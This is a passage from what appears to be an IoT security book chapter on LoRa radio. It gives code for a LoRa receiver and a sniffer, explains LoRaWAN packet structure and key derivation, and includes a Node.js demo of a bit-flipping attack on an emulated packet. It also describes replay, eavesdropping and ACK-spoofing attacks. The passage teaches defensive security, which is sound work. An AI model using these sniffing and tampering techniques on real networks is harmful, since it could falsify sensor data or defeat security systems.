to which the Heltec is connected. Normally, this should be /dev/ttyUSB0 or in 
some cases /dev/ttyACM0. 

At this point, you can open the Serial Monitor console by clicking 
ToolsSerial Monitor. We’ve redirected most output to the board’s OLED 
display, so the serial console isn’t that necessary in this exercise. 

Then click SketchUpload, which should compile, upload, and run 
the code in the board. You should now see the packet counter on the 
board’s screen, as shown in Figure 13-4.

https://github.com/HelTecAutomation/Heltec_ESP32/tree/master/src/lora/
https://github.com/HelTecAutomation/Heltec_ESP32/tree/master/src/lora/
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Figure 13-4: The Heltec board running our code and displaying the packet number cur-
rently being sent

Setting Up the LoStik
To receive packets from the Heltec board, we’ll now set up the LoStik as 
a LoRa receiver (Figure 13-5). We used the RN2903 (US) version of the 
LoStik, which covers the United States, Canada, and South America. We 
advise you to consult the following map showing the LoRaWAN (and LoRa) 
frequency plans and regulations by country at The Things Network project: 
https://www.thethingsnetwork.org/docs/lorawan/frequencies-by-country.html

Figure 13-5: The LoStik comes in two versions: the RN2903 (US) and RN2483 (EU) mod-
ules by Microchip. Make sure you select the right one for your ITU region.

To download and experiment with some of the code examples provided 
by the LoStik’s developer, you can run this line:

$ git clone https://github.com/ronoth/LoStik.git

https://www.thethingsnetwork.org/docs/lorawan/frequencies-by-country.html
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To run the examples, you’ll need Python 3 and the pyserial package. 
You can install the latter by pointing the pip package manager to the require-
ments.txt file inside the examples directory:

# pip install -r requirements.txt

When you plug the LoStik into your computer, enter the following com-
mand to see which device file descriptor it was assigned to: 

$ sudo dmesg 
…
usb 1-2.1: ch341-uart converter now attached to ttyUSB0

It should be assigned to /dev/ttyUSB0 if you don’t have any other periph-
eral devices attached. 

Writing the LoRa Receiver Code

In a text editor, like Vim, enter the following Python script, which lets 
LoStik act as a basic LoRa receiver. The code will send configuration com-
mands to the LoRa radio chip (RN2903) in the LoStik through the serial 
interface to make it listen for certain kinds of LoRa traffic and print the 
received packet data to the terminal. Listing 13-2 shows our code.

  #!/usr/bin/env python3 1
  import time
  import sys
  import serial
  import argparse
  from serial.threaded import LineReader, ReaderThread

  parser = argparse.ArgumentParser(description='LoRa Radio mode receiver.') 2
  parser.add_argument('port', help="Serial port descriptor")
  args = parser.parse_args()

  class PrintLines(LineReader): 3
    def connection_made(self, transport): 4
      print("serial port connection made")
      self.transport = transport
      self.send_cmd('mac pause') 5
      self.send_cmd('radio set wdt 0')
      self.send_cmd('radio set crc off')
      self.send_cmd('radio set sf sf7')
      self.send_cmd('radio rx 0')

    def handle_line(self, data): 6
      if data == "ok" or data == 'busy':
        return
      if data == "radio_err":
        self.send_cmd('radio rx 0')
        return
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      if 'radio_rx' in data: 7
        print(bytes.fromhex(data[10:]).decode('utf-8', errors='ignore'))
      else:
        print(data)
      time.sleep(.1)
      self.send_cmd('radio rx 0')

    def connection_lost(self, exc): 8
      if exc:
        print(exc)
      print("port closed")

    def send_cmd(self, cmd, delay=.5): 9
      self.transport.write(('%s\r\n' % cmd).encode('UTF-8'))
      time.sleep(delay)

  ser = serial.Serial(args.port, baudrate=57600) a
  with ReaderThread(ser, PrintLines) as protocol:
    while(1):
      pass

Listing 13-2: A Python script that lets LoStik act as a basic LoRa receiver

The Python script first imports the necessary modules 1, including the 
serial classes LineReader and ReaderThread from the pyserial package. These 
two classes will help us implement a serial port read loop using threads. Next, 
we set up a very basic command line argument parser 2 through which we’ll 
pass the device file descriptor for the serial port (for example, /dev/ttyUSB0) 
as the only argument to our program. We define PrintLines 3, a subclass of 
serial.threaded.LineReader, which our ReaderThread object will use. This class 
implements the program’s main logic. We initialize all the LoStik radio set-
tings inside connection_made 4, because it’s called when the thread is started. 

The next five commands 5 configure the LoRa radio part of the RN2903 
chip. These steps resemble the steps you took to configure the LoRa radio in 
the Heltec board. We advise you to read a detailed explanation of these com-
mands in the “RN2903 LoRa Technology Module Command Reference User’s 
Guide” from Microchip (https://www.microchip.com/wwwproducts/en/RN2903). 
Let’s look at each command:

mac pause    Pauses the LoRaWAN stack functionality to allow you to con-
figure the radio, so we start with this.

radio set wdt 0    Disables the Watchdog Timer, a mechanism that inter-
rupts radio reception or transmission after a configured number of mil-
liseconds have passed.

radio set crc off    Disables the CRC header in LoRa. The off setting is 
the most common setting. 

radio set sf sf7    Sets the spreading factor. Valid parameters are sf7, 
sf8, sf9, sf10, sf11, or sf12. We set the spreading factor to sf7, because the 
Heltec LoRa 32 node, which acts as our sender, is in the same room as 
the receiver (remember that short distances require small spreading 
factors) and also has a spreading factor of 7. The two spreading factors 

https://www.microchip.com/wwwproducts/en/RN2903
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must match or else the sender and receiver might not be able to talk to 
each other.

radio rx 0    Puts the radio into continuous Receive mode, which means 
it will listen until it receives a packet. 

We then override function handle_line of LineReader 6, which is called 
whenever the RN2903 chip receives a new line from the serial port. If the 
value of the line is ok or returns busy, we return to keep listening for new 
lines. If that line is a radio_err string, that probably means the Watchdog 
Timer sent an interrupt. The default value of the Watchdog Timer is 15,000 
ms, which means that if 15 seconds have passed since the beginning of the 
transceiver reception without it receiving any data, the Watchdog Timer 
interrupts the radio and returns radio_err. If that happens, we call radio rx 0 
to set the radio into continuous Receive mode again. We previously disabled 
the Watchdog Timer in this script, but it’s good practice to handle this inter-
rupt in any case. 

If the line contains a radio rx 7, then it contains a new packet from 
the LoRa radio receiver, in which case we try to decode the payload (every-
thing from byte 10 onward, because bytes 0–9 of the data variable contain 
the string "radio rx") as UTF-8, ignoring any errors (characters that can’t 
be decoded). Otherwise, we just print the whole line, because it will prob-
ably contain a reply from the LoStik to some command we sent to it. For 
example, if we send it a radio get crc command, it will reply with on or off, 
indicating whether or not the CRC is enabled.  

We also override connection_lost 8, which is called when the serial port 
is closed or the reader loop otherwise terminates. We print the exception 
exc if it was terminated by an error. The function send_cmd 9 is just a wrap-
per that makes sure commands sent to the serial port have the proper for-
mat. It checks that the data is UTF-8 encoded and that the line ends with a 
carriage return and newline character. 

For our script’s main code a, we create a Serial object called ser, 
which takes the serial port’s file descriptor as an argument and sets the 
baud rate (how fast data is sent over the serial line). The RN2903 requires 
a rate of 57600. We then create an infinite loop and initialize a pyserial 
ReaderThread with our serial port instance and PrintLines class, starting 
our main logic. 

Starting the LoRa Receiver

With the LoStik plugged into a USB port in our computer, we can start our 
LoRa receiver by entering this line:

# ./lora_recv.py /dev/ttyUSB0

We should now see the LoRa messages sent by the Heltec module: 

root@kali:~/lora# ./lora_recv.py /dev/ttyUSB0
serial port connection made
4294967245
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Not so secret LoRa message
Not so secret LoRa message
Not so secret LoRa message
Not so secret LoRa message
Not so secret LoRa message

You should expect to see a new LoRa message of the same payload every 
few seconds, given how often the program calls the Heltec module loop. 

Turning the CatWAN USB Stick into a LoRa Sniffer
Now let’s set up the device that will allow us to sniff this LoRa traffic. The 
CatWAN USB stick (Figure 13-6) uses a RFM95 chip, and you can dynami-
cally configure it to use either 868 MHz (for the European Union) or 915 
MHz (for the United States). 

Figure 13-6: The CatWAN USB stick, which is compatible with LoRa and LoRaWAN, is 
based on the RFM95 transceiver. The arrow points to the reset (RST) button.

The stick comes with a plastic case, which you’ll have to remove to 
access the reset button. After you connect the stick to your computer, 
quickly press the reset button twice. A USB storage unit called USBSTICK 
should appear in the Windows File Explorer.  

Setting Up CircuitPython

Download and install the latest version of Adafruit’s CircuitPython at 
https://circuitpython.org/board/catwan_usbstick/. CircuitPython is an easy, open 
source language based on MicroPython, a version of Python optimized to 
run on microcontrollers. We used version 4.1.0. 

CatWAN uses a SAMD21 microcontroller, which has a bootloader that 
makes it easy to flash code onto it. It uses Microsoft’s USB Flashing Format 
(UF2), which is a file format that is suitable for flashing microcontrollers 
using removable flash drives. This allows you to drag and drop the UF2 file 

https://circuitpython.org/board/catwan_usbstick/
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to the USBSTICK storage device. This action automatically flashes the boot-
loader. Then the device reboots and renames the drive to CIRCUITPY.  

You’ll also need two CircuitPython libraries: Adafruit CircuitPython RFM9x 
and Adafruit CircuitPython BusDevice. You can find these at https://github.com/
adafruit/Adafruit_CircuitPython_RFM9x/releases and https://github.com/adafruit/
Adafruit_CircuitPython_BusDevice/releases. We installed these using adafruit-
circuitpython-rfm9x-4.x-mpy-1.1.6.zip and adafruit-circuitpython-bus-device-4.x-
mpy-4.0.0.zip. The 4.x number refers to the CircuitPython version; make sure 
these installations correspond with your installed version. You’ll have to 
unzip them and transfer the .mpy files to the CIRCUITPY drive. Note that the 
bus library needs the .mpy files to be in the bus library directory, as shown in 
Figure 13-7. The library files are placed inside the lib directory, and there is a 
subdirectory adafruit_bus_device for the I2C and SPI modules. The code.py file 
you’ll create resides in the USB volume drive’s very top (root) directory.

Figure 13-7: The CIRCUITPY drive’s directory structure. 

Next, we’ll configure the Serial Monitor (with the same functionality 
as the Arduino Serial Monitor, explained earlier). For this, we used PuTTY 
on Windows, because it has worked much better than any other Windows-
based terminal emulator that we tested. Once you have PuTTY on your 
system, identify the right COM port by opening your Windows Device 
Manager and navigating to Ports (COM & LPT) (Figure 13-8). 

https://github.com/adafruit/Adafruit_CircuitPython_RFM9x/releases
https://github.com/adafruit/Adafruit_CircuitPython_RFM9x/releases
https://github.com/adafruit/Adafruit_CircuitPython_BusDevice/releases
https://github.com/adafruit/Adafruit_CircuitPython_BusDevice/releases
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Figure 13-8: Configuring PuTTY to connect to the serial console on COM4, which we iden-
tified in the Device Manager as the port being used by the CatWAN stick. Your COM 
port might be different.

Unplug and replug the CatWAN stick into your computer to identify the 
correct COM port. Doing so works because you’ll see which COM port dis-
appears in the Device Manager when you unplug it and reappears when you 
replug it. Next, in the Session tab, choose Serial. Enter the right COM port 
into the Serial line box, and change the baud rate to 115200.

Writing the Sniffer

To write the CircuitPython code, we recommend that you use the MU edi-
tor (https://codewith.mu/). Otherwise, the changes to the CIRCUITPY drive 
might not be saved correctly and in real time. When you first open MU, 
choose the Adafruit CircuitPython mode. You can also change the mode 
later using the Mode icon on the menu bar. Start a new file, enter the code 
from Listing 13-3, and save the file on the CIRCUITPY drive using the 
name code.py. Note that the filename is important, because CircuitPython 
will look for a code file named code.txt, code.py, main.txt, or main.py in that 
order. 

When you first save the code.py file on the drive and each time you make 
changes to the code through the MU editor, MU automatically runs that 
version of the code on the CatWAN. You can monitor this execution using 
the serial console with PuTTY. Using the console, you can press CTRL-C to 
interrupt the program or CTRL-D to reload it. 

https://codewith.mu/)
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The program is similar to the basic LoRa receiver we introduced with 
the LoStik. The main twist is that it continuously switches between spread-
ing factors to increase the chances of listening to different types of LoRa 
traffic. 

  import board
  import busio
  import digitalio
  import adafruit_rfm9x

  RADIO_FREQ_MHZ = 915.0 1
  CS = digitalio.DigitalInOut(board.RFM9X_CS)
  RESET = digitalio.DigitalInOut(board.RFM9X_RST)
  spi = busio.SPI(board.SCK, MOSI=board.MOSI, MISO=board.MISO)
  rfm9x = adafruit_rfm9x.RFM9x(spi, CS, RESET, RADIO_FREQ_MHZ) 2
  rfm9x.spreading_factor = 7 3

  print('Waiting for LoRa packets...')
  i = 0
  while True:
    packet = rfm9x.receive(timeout=1.0, keep_listening=True, with_header=True) 4
    if (i % 2) == 0:
      rfm9x.spreading_factor = 7
    else:
      rfm9x.spreading_factor = 11
    i = i + 1

    if packet is None: 5
      print('Nothing yet. Listening again...')
    else:
      print('Received (raw bytes): {0}'.format(packet))
      try: 6
        packet_text = str(packet, 'ascii')
        print('Received (ASCII): {0}'.format(packet_text))
      except UnicodeError:
        print('packet contains non-ASCII characters')
      rssi = rfm9x.rssi 7
      print('Received signal strength: {0} dB'.format(rssi))

Listing 13-3: CircuitPython code for the CatWAN USB stick to act as a basic LoRa sniffer

First, we import the necessary modules, as we would in Python. The 
board module contains board base pin names, which will vary from board to 
board. The busio module contains classes that support multiple serial pro-
tocols, including SPI, which CatWAN uses. The digitalio module provides 
access to basic digital I/O, and adafruit_rmf9x is our main interface to the 
RFM95 LoRa transceiver that CatWAN uses.

We set the radio frequency to 915 MHz 1, because we’re using the 
US version of CatWAN. Always make sure the frequency matches your 
module version. For example, change it to 868 MHz if you’re using 
the module’s EU version. 

The rest of the commands set up the SPI bus connected to the radio, as 
well as the Chip Select (CS) and reset pins, leading up to the initialization of 
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our rfm9x class 2. The SPI bus uses the CS pin, as explained in Chapter 5. 
This class is defined in the RFM95 CircuitPython module at https://github.com/
adafruit/Adafruit_CircuitPython_RFM9x/blob/master/adafruit_rfm9x.py. It’s 
worth reading the source code to get a better understanding of how the  
class works under the hood. 

The most important part of the initialization is setting the spreading 
factor 3. We start with SF7, but later inside the main loop, we’ll switch to 
other modes to increase our chances of sniffing all types of LoRa traffic. 
We then start polling the chip for new packets inside an infinite loop by 
calling rfm9x.receive() 4 with the following arguments: 

timeout = 1.0    This means the chip will wait for up to one second for a 
packet to be received and decoded.

keep_listening = True    This will make the chip enter listening mode 
after it receives a packet. Otherwise, it would fall back to idle mode and 
ignore any future reception.

with_header = True    This will return the four-byte LoRa header along 
with the packet. This is important, because when a LoRa packet uses 
the implicit header mode, the payload might be part of the header; if you 
don’t read it, you might miss part of the data.

Because we want the CatWAN to act as a LoRa sniffer, we need to con-
tinuously keep switching between spreading factors to increase our chances 
of capturing LoRa traffic from nodes that might be either too close or too 
far away. Switching between 7 and 11 accomplishes this to a large degree, 
but feel free to experiment with other or all values between 7 and 12. 

If rfm9x.receive() didn’t receive anything in timeout seconds, it returns 
None 5, then we print that to the serial console and we go back to the 
beginning of the loop. If we receive a packet, we print its raw bytes and 
then try to decode them to ASCII 6. Often, the packet might contain non-
ASCII characters due to corruption or encryption, and we have to catch the 
UnicodeError exception or our program will quit with an error. Finally, we 
print the received signal strength of the last received message by reading 
our chip’s RSSI register using the rfm9x.rssi() function 7. 

If you leave the serial console in PuTTY open, you should see the 
sniffed messages, as shown in Figure 13-9.

Figure 13-9: The serial console in PuTTY shows us the captured LoRa messages from the 
CatWAN stick.

https://github.com/adafruit/Adafruit_CircuitPython_RFM9x/blob/master/adafruit_rfm9x.py
https://github.com/adafruit/Adafruit_CircuitPython_RFM9x/blob/master/adafruit_rfm9x.py
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Decoding the LoRaWAN Protocol
In this section, we’ll explore the LoRaWAN wireless protocol, which sits on 
top of LoRa. To better understand the protocol, we recommend that you read 
the official specification on the LoRa Alliance website at https://lora-alliance 
.org/lorawan-for-developers/.

The LoRaWAN Packet Format
LoRaWAN defines the layers of the OSI model on top of LoRa (OSI layer 1). 
It mainly operates at the data link Medium Access Control (MAC) layer (OSI 
layer 2), although it includes some elements of the network layer (OSI layer 3). 
For example, the network layer covers tasks such as how nodes join LoRaWAN 
networks (covered in “Joining LoRaWAN Networks” on page 324), how pack-
ets are forwarded, and so on. 

The LoRaWAN packet format further divides the network layer into 
MAC and application layers. Figure 13-10 shows these layers.

Preamble PHDR PHDR_CRC PHYPayload CRC LoRa -
physical
layer (OSI 1)

LoRaWAN -
MAC layer
(OSI 2)

Application
layer

Network
layer
(OSI 3)

MHDR MACPayload MIC

FHDR FPort FRMPayload

Figure 13-10: The LoRaWAN packet format

To understand how these three layers interact, you first need to under-
stand the three AES 128-bit keys that LoRaWAN uses. The NwkSKey is a 
network session key that the node and the network server use to calculate 
and verify the Message Integrity Code (MIC) of all messages, ensuring data 
integrity. The AppSKey is an application session key that the end device and 
the application server (which can be the same entity as the network server) 
use to encrypt and decrypt the application layer payload. The AppKey (note 
there is no “s” here) is an application key known by the node and the applica-
tion server and used for the Over-the-Air Activation (OTAA) method, explained 
in “Joining LoRaWAN Networks” on page 324.

The LoRa physical layer defines the radio interface, modulation 
scheme, and an optional CRC for error detection. It also carries the payload 
for the MAC layer. It has the following parts:

Preamble    The radio preamble, which contains the synchronization 
function and defines the packet modulation scheme. The duration of 
the preamble is usually 12.25 Ts.

https://lora-alliance.org/lorawan-for-developers/
https://lora-alliance.org/lorawan-for-developers/
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PHDR    The physical layer header, which contains information such as 
the payload length and whether the Physical Payload CRC is present.

PHDR_CRC    The CRC of the physical header (PHDR). The PHDR 
and PHDR_CRC are 20 bits in total.

PHYPayload    The physical layer payload, which contains the MAC 
frame.

CRC    The optional 16-bit CRC of the PHYPayload. Messages sent from 
a network server to a node never contain this field for performance 
reasons.

The LoRaWAN MAC layer defines the LoRaWAN message type and the 
MIC, and it carries the payload for the application layer above. It has the 
following parts:

MHDR    The MAC header (MHDR), which specifies the message type 
(MType) of the frame format and the version of the LoRaWAN speci-
fication used. The three-bit MType specifies which of the six different 
MAC message types we have: Join-Request, Join-Accept, unconfirmed 
data up/down, and confirmed data up/down. Up refers to data travel-
ing from the node to the network server, and down indicates data trav-
eling in the opposite direction. 

MACPayload    The MAC payload, which contains the application layer 
frame. For Join-Request (or Rejoin-Request) messages, the MAC payload 
has its own format and doesn’t carry the typical application layer payload. 

MIC    The four-byte MIC, which ensures data integrity and prevents mes-
sage forgery. It’s calculated over all fields in the message (msg = MHDR 
| FHDR | FPort | FRMPayload) using the NwkSKey. Keep in mind that in 
the case of Join-Request and Join-Accept messages, we calculate the MIC 
differently, because they’re a special type of MAC payload.

The application layer contains application-specific data and the end-
device address (DevAddr) that uniquely identifies the node within the current 
network. It has the following parts:

FHDR    The frame header (FHDR), which contains the DevAddr, a 
frame control byte (FCtrl), a two-byte frame counter (FCnt), and zero 
to 15 bytes of frame options (FOpts). Note that FCnt increases every 
time a message is transmitted, and it’s used to prevent replay attacks. 

FPort    The frame port, used to determine whether the message con-
tains only MAC commands (for example a Join-Request) or application-
specific data.

FRMPayload    The actual data (for example, a sensor’s temperature 
value). These data are encrypted using the AppSKey.

Joining LoRaWAN Networks
There are two ways for nodes to join a LoRaWAN network: OTAA and 
Activation by Personalization (ABP). We’ll discuss both methods in this section.
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Note that in a LoRaWAN network architecture, the application server 
might be a separate component from the network server, but for simplicity 
reasons, we’ll assume that the same entity performs both functions. The 
official LoRaWAN specification makes the same assumption. 

OTAA

In OTAA, nodes follow a join procedure before being able to send data to 
the network and application server. Figure 13-11 illustrates this procedure. 

�

�

�

�

�

Gateway

Network
server

Node

Figure 13-11: OTAA message flow

First, the LoRa node sends a Join-Request 1 containing the applica-
tion identifier (AppEUI), a globally unique end-device identifier (DevEUI), and 
a random value of two bytes (DevNonce). The message is signed (but not 
encrypted) using an AES-128 key specific to the node, called the AppKey.

The node calculates this signature—the MIC discussed in the previous 
section—as follows:

cmac = aes128_cmac(AppKey, MHDR | AppEUI | DevEUI | DevNonce)
MIC =  cmac[0..3]

The node uses a Cipher-based Message Authentication Code (CMAC), which 
is a keyed hash function based on a symmetric-key block cipher (AES-128 in 
this case). The node forms the message to be authenticated by concatenat-
ing the MHDR, AppEUI, DevEUI, and DevNonce. The aes128_cmac function 
generates a 128-bit message authentication code, and its first four bytes 
become the MIC, because the MIC can hold only four bytes. 

N O T E 	 The calculation of the MIC differs for data messages (any message other than a Join-
Request and Join-Accept). You can read more about CMAC in RFC4493.

Any gateway 2 that receives the Join-Request packet will forward it to 
its network. The gateway device doesn’t interfere with the message; it only 
acts as a relay. 

The node doesn’t send the AppKey within the Join-Request. Because 
the network server knows the AppKey, it can recalculate the MIC based 
on the received MHDR, AppEUI, DevEUI, and DevNonce values in the 
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message. If the end device didn’t have the correct AppKey, the MIC on the 
Join-Request won’t match the one calculated by the server and the server 
won’t validate the device. 

If the MICs match, the device is deemed valid and the server then 
sends a Join-Accept response 3 containing a network identifier (NetID), a 
DevAddr, and an application nonce (AppNonce), as well as some network 
settings, such as a list of channel frequencies for the network. The server 
encrypts the Join-Accept using the AppKey. The server also calculates the 
two session keys, NwkSKey and AppSKey, as follows:

NwkSKey = aes128_encrypt(AppKey, 0x01 | AppNonce | NetID | DevNonce | pad16) 
AppSKey = aes128_encrypt(AppKey, 0x02 | AppNonce | NetID | DevNonce | pad16)

The server calculates both keys by AES-128–encrypting the concatena-
tion of 0x01 (for the NwkSKey) or 0x02 (for the AppSKey), the AppNonce, 
the NetID, the DevNonce, and some padding of zero bytes so the total 
length of the key is a multiple of 16. It uses the AppKey as the AES key.

The gateway with the strongest signal to the device forwards the Join-
Accept response to the device 4. The node then 5 stores the NetID, 
DevAddr, and network settings and uses the AppNonce to generate the 
same session keys, NwkSKey and AppSKey, as the Network Server did, 
using the same formula. From then on, the node and the server use the 
NwkSKey and AppSKey to verify, encrypt, and decrypt the exchanged data. 

ABP

In ABP, there is no Join-Request or Join-Accept procedure. Instead, the 
DevAddr and the two session keys, NwkSKey and AppSKey, are already 
hardcoded into the node. The network server has these values preregis-
tered as well. Figure 13-12 shows how a node sends a message to the net-
work server using ABP.
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Figure 13-12: ABP message flow

The node 1 doesn’t need a DevEUI, AppEUI, or AppKey; it can start 
directly sending data messages to the network. The gateway 2, as usual, 
forwards the messages to the network server without paying attention to 
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their content. The network server 3 is already preconfigured with the 
DevAddr, NwkSKey, and AppSKey, so it can verify and decrypt the messages 
sent by the node and then encrypt and send messages back to it.

Attacking LoRaWAN 
An attacker could use many possible vectors to compromise LoRaWAN, 
depending on the network configuration and device deployment. In this 
section, we’ll discuss the following vectors: weaknesses in key generation 
and management, replay attacks, bit-flipping attacks, ACK spoofing, and 
application-specific vulnerabilities. We’ll show an example implementation 
of a bit-flipping attack but leave the rest for you to practice on your own. 
To work through some of the other attacks, you might need to acquire a 
LoRaWAN gateway and set up your own network and application server, 
which is beyond the scope of this chapter. 

Bit-Flipping Attacks
A bit-flipping attack occurs when an attacker modifies a small part of 
the ciphertext in the encrypted application payload (the FRMPayload 
described in the previous section) without decrypting the packet and the 
server accepts the modified message. This portion might be a single bit 
or several. Either way, the impact of this attack depends on what value the 
attacker has changed; for example, if it’s a water pressure value from a sen-
sor in a hydroelectric facility, the application server might erroneously open 
certain valves. 

Two main scenarios could allow this attack to successfully take place: 

•	 The network and application server are different entities and commu-
nicate through an insecure channel. LoRaWAN doesn’t specify how the 
two servers should connect. This means that the integrity of the mes-
sage gets checked on the network server only (using the NwkSKey). A 
man-in-the-middle attacker between the two servers could modify the 
ciphertext. Because the application server has only the AppSKey but 
not the NwkSKey, there’s no way to validate the packet’s integrity, so the 
server can’t know if it received a maliciously modified packet. 

•	 If the network and application server are the same entity, the attack is 
possible if the server acts upon the FRMPayload, decrypting and using 
its value, before the server checks the MIC. 

We’ll demonstrate how this attack would work by emulating it using 
the lora-packet Node.js library, which should also shed some light on how a 
LoRaWAN packet looks in practice. Node.js is an open source JavaScript 
runtime environment that lets you execute JavaScript code outside of a 
browser. Make sure you’ve installed Node.js before you begin. Installing npm 
through apt-get will also install Node.js. 
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Install the npm package manager, which you can use to install the  
lora-packet library. On Kali, you can use this command: 

# apt-get install npm

Then download the GitHub version of lora-packet from https://github.com/ 
anthonykirby/lora-packet/ or install it directly using npm:

# npm install lora-packet

You can then run the code in Listing 13-4 as you would run any execut-
able script. Copy it into a file, change its permissions to be executable with 
the chmod a+x <script_name>.js command, and run it in a terminal. The script 
creates a LoRaWAN packet and emulates the bit-flipping attack by altering 
a specific portion of it without first decrypting it.

  #!/usr/bin/env node 1
  var lora_packet = require('lora-packet'); 2

  var AppSKey = new Buffer('ec925802ae430ca77fd3dd73cb2cc588', 'hex'); 3
  var packet = lora_packet.fromFields({ 4
        MType: 'Unconfirmed Data Up', 5
        DevAddr: new Buffer('01020304', 'hex'), // big-endian 6
        FCtrl: {
            ADR: false,
            ACK: true,
            ADRACKReq: false,
            FPending: false
        },
      payload: 'RH:60', 7
    }
    , AppSKey
    , new Buffer("44024241ed4ce9a68c6a8bc055233fd3", 'hex') // NwkSKey
  );

  console.log("original packet: \n" + packet); 8
  var packet_bytes = packet.getPHYPayload().toString('hex');
  console.log("hex: " + packet_bytes);
  console.log("payload: " + lora_packet.decrypt(packet, AppSKey, null).toString());

  var target = packet_bytes; 9
  var index = 24;
  target = target.substr(0, index) + '1' + target.substr(index + 1);

  console.log("\nattacker modified packet"); a
  var changed_packet = lora_packet.fromWire(new Buffer(target, 'hex'));
  console.log("hex: " + changed_packet.getPHYPayload().toString('hex'));
  console.log("payload: " + lora_packet.decrypt(changed_packet, AppSKey, null).toString());

Listing 13-4: Demonstration of a bit-flipping attack on a LoRaWAN payload using the library lora-packet

We first write the node shebang 1 to indicate this code will be executed by 
the Node.js interpreter. We then import the lora-packet module 2 using the 

https://github.com/anthonykirby/lora-packet/
https://github.com/anthonykirby/lora-packet/
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require directive and save it into the lora_packet object. The value of AppSKey 3 
doesn’t really matter for this exercise, but it has to be exactly 128 bits.

We create a LoRa packet that will serve as the attacker’s target 4. The 
output of our script displays the packet fields, as well. The MType field 5 of 
the MHDR indicates that this is a data message coming from a node device 
without awaiting confirmation from the server. The four-byte DevAddr 6 is 
part of the FHDR. The application layer payload 7 is the value RH:60. RH 
stands for relative humidity, indicating this message is coming from an envi-
ronmental sensor. This payload corresponds to the FRMPayload (shown in 
the output that follows), which we got by encrypting the original payload 
(RH:60) with the AppSKey. We then use the lora-packet library’s functions 
to print the packet fields in detail, its bytes in hexadecimal form, and the 
decrypted application payload 8. 

Next, we perform the bit-flipping attack 9. We copy the packet bytes 
into the target variable, which is also how a man-in-the-middle attacker 
would capture the packet. Then we have to choose the position inside the 
packet where we should make the alteration. We chose position 24, which 
corresponds to the value of the RH—the integer part of the payload, after 
RH: (which is the string part). The attacker will normally have to guess the 
location of the data they want to alter unless they know the payload’s for-
mat beforehand. 

We finally print the modified packet a, and as you can see in the fol-
lowing output, the decrypted payload now has the RH value of 0.

root@kali:~/lora# ./dec.js 
original packet: 
Message Type = Data
            PHYPayload = 400403020120010001EC49353984325C0ECB

          ( PHYPayload = MHDR[1] | MACPayload[..] | MIC[4] )
                  MHDR = 40
            MACPayload = 0403020120010001EC49353984
                   MIC = 325C0ECB

          ( MACPayload = FHDR | FPort | FRMPayload )
                  FHDR = 04030201200100
                 FPort = 01
            FRMPayload = EC49353984

                ( FHDR = DevAddr[4] | FCtrl[1] | FCnt[2] | FOpts[0..15] )
               DevAddr = 01020304 (Big Endian)
                 FCtrl = 20
                  FCnt = 0001 (Big Endian)
                 FOpts = 

          Message Type = Unconfirmed Data Up
             Direction = up
                  FCnt = 1
             FCtrl.ACK = true
             FCtrl.ADR = false

hex: 400403020120010001ec49353984325c0ecb
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payload: RH:60

attacker modified packet
hex: 400403020120010001ec49351984325c0ecb
payload: RH:0

Highlighted first, in the initial hex line, is the MHDR (40), and the next 
highlighted part (ec49353984) is the payload. After that is the MIC (325c0ecb). 
In the second hex line, which shows the attacker’s modified packet in hex, 
we highlight the part of the payload that was altered. Notice how the MIC 
hasn’t changed, because the attacker doesn’t know the NwkSKey to recalcu-
late it. 

Key Generation and Management
Many attacks can reveal the three LoRaWAN cryptographic keys. One of 
the reasons for this is that nodes might reside in insecure or uncontrolled 
physical locations; for example, temperature sensors at a farm or humidity 
sensors in outdoor facilities. This means that an attacker can steal the node, 
extract the keys (either the AppKey from OTAA activated nodes or the hard-
coded NwkSKey and AppSKey from ABP ones) and then intercept or spoof 
messages from any other node that might use the same keys. An attacker 
might also apply techniques like side-channel analysis, where the attacker 
detects variations in power consumption or electromagnetic emissions dur-
ing the AES encryption to figure out the key’s value. 

The LoRaWAN specification explicitly states that each device should 
have a unique set of session keys. In OTAA nodes, this gets enforced 
because of the randomly generated AppNonce. But in ABP, node session 
key generation is left to developers, who might base it on static features of 
the nodes, like the DevAddr. This would allow attackers to predict the ses-
sion keys if they reverse-engineered one node.

Replay Attacks
Normally, the proper use of the FCnt counters in the FHDR prevent replay 
attacks (discussed in Chapter 2). There are two frame counters: FCntUp, 
which is incremented every time a node transmits a message to the server, 
and FCntDown, which is incremented every time a server sends a message 
to a node. When a device joins a network, the frame counters are set to 0. 
If a node or server receives a message with a FCnt that is less than the last 
recorded one, it ignores the message.

These frame counters prevent replay attacks, because if an attacker cap-
tures and replays a message, the message would have a FCnt that is less than 
or equal to the last recorded message that was received and thus would be 
ignored. 

There are still two ways replay attacks could occur:

•	 In OTAA and ABP activated nodes, each 16-bit frame counter will at 
some point reset to 0 when it reaches the highest possible value. If an 
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attacker has captured messages in the last session (before the counter 
overflow), they can reuse any of the messages with larger counter values 
than the ones observed in the new session. 

•	 In ABP activated nodes, when the end device is reset, the frame counter 
also resets to 0. This means that, again, the attacker can reuse a mes-
sage from an earlier session with a higher counter value than the last 
message sent. In OTAA nodes, this isn’t possible, because whenever 
the device resets, it has to generate new session keys (the NwkSKey and 
AppSKey), invalidating any previously captured messages. 

A replay attack can have serious implications if an attacker can replay 
important messages, such as those that disable physical security systems (for 
example, burglar alarms). To prevent this scenario, you’d have to reissue 
new session keys whenever the frame counter overflows and use OTAA acti-
vation only.

Eavesdropping
Eavesdropping is the process of compromising the encryption method to 
decrypt all or part of the ciphertext. In some cases, it might be possible 
to decrypt the application payload by analyzing messages that have the 
same counter value. This can happen because of the use of AES in counter 
(CTR) mode and the frame counters being reset. After a counter reset, 
which occurs either as the result of integer overflow when the counter has 
reached the highest possible value or because the device reset (if it’s using 
ABP), the session keys will remain the same, so the key stream will be the 
same for the messages with the same counter value. Using a cryptanalysis 
method called crib dragging, it’s possible to then gradually guess parts of 
the plaintext. In crib dragging, an attacker drags a common set of characters 
across the ciphertext in the hope of revealing the original message.

ACK Spoofing
In the context of LoRaWAN, ACK spoofing is sending fake ACK messages 
to cause a denial-of-service attack. It’s possible because the ACK messages 
from the server to the nodes don’t indicate exactly which message they’re 
confirming. If a gateway has been compromised, it can capture the ACK 
messages from the server, selectively block some of them, and use the cap-
tured ACKs at a later stage to acknowledge newer messages from the node. 
The node has no way of knowing if an ACK is for the currently sent message 
or the messages before it. 

Application-Specific Attacks
Application-specific attacks include any attacks that target the application 
server. The server should always sanitize incoming messages from nodes 
and consider all input as untrusted, because any node could be compro-
mised. Servers might also be internet-facing, which increases the attack sur-
face for more common attacks.
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Conclusion
Although commonly used in smart cities, smart metering, logistics, and 
agriculture, LoRa, LoRaWAN, and other LPWAN technologies will unavoid-
